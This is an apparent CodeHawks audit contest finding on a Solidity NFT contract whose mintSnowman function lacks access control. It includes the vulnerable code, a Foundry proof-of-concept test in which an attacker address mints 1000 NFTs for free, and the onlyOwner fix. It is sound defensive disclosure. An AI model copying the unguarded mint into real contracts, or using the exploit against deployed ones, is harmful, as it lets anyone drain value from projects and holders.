Snowman Merkle Airdrop

First Flight #42
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Unrestricted Access Control in Snowman::mintSnowman() Allows Unauthorized Free Minting

Root + Impact

Description

  • The mintSnowman function should only allow authorized addresses (like SnowmanAirdrop contract) to mint NFTs.

  • The minSnowman function in Snowman lacks proper access restrictions. Although the Snowman contract is inherits the OpenZeppelin's Ownable contract, the function is missing the onlyOwner modifier, allowing everyone to mint Snowman NFTs for free.

@> function mintSnowman(address receiver, uint256 amount) external { // Dispite inheriting Ownable, function lacks onlyOwner modifier
@> // No access control check here
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
}

Relevant Github link

https://github.com/CodeHawks-Contests/2025-06-snowman-merkle-airdrop/blob/b63f391444e69240f176a14a577c78cb85e4cf71/src/Snowman.sol#L36

Risk

Likelihood:

  • Anyone can call mintSnowman function at any time without limits

  • No special requirements or checks to stop people from minting

Impact:

  • NFTs that should only be received by Snow token stakers can be minted freely by anyone

  • Makes the system useless becasue:

    • No one will buy Snow tokens

    • No one will wait to earn Snow tokens

    • No one will stake their tokens

    • The airdrop system doesn't work as planned

Proof of Concept

  • The following test demonstrates how any address can freely mint Snowman NFTs without restrictions. This breaks the intended staking mechanism.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import {Test, console2} from "forge-std/Test.sol";
import {Snowman} from "../src/Snowman.sol";
import {DeploySnowman} from "../script/DeploySnowman.s.sol";
contract TestSnowman is Test {
Snowman nft;
DeploySnowman deployer;
// Create attacker address
address attacker = makeAddr("attacker");
function setUp() public {
deployer = new DeploySnowman();
nft = deployer.run();
}
function testUnauthorizedMinting() public {
// Amount of NFTs to mint
uint256 amount = 1000;
console2.log("Initial token counter:", nft.getTokenCounter());
// Attacker mints Snowman NFTs
vm.prank(attacker);
nft.mintSnowman(attacker, amount);
// Get the attacker's NFT balance
uint256 attackerBalance = nft.balanceOf(attacker);
// Verify token counter increased by mint amount
console2.log("Final token counter:", nft.getTokenCounter());
// Attacker received all minted NFTs
console2.log("Attacker NFT balance:", attackerBalance);
// Assertion
assertEq(attackerBalance, amount);
}
}

Recommended Mitigation

  • Add the onlyOwner modifier of Ownable contract to the mintSnowman function so that only the authorized airdrop contract can mint NFTs ensuring the staking mechanism works as intended

- function mintSnowman(address receiver, uint256 amount) external {
+ function mintSnowman(address receiver, uint256 amount) external onlyOwner{
Updates

Lead Judging Commences

yeahchibyke Lead Judge 5 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Unrestricted NFT mint function

The mint function of the Snowman contract is unprotected. Hence, anyone can call it and mint NFTs without necessarily partaking in the airdrop.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.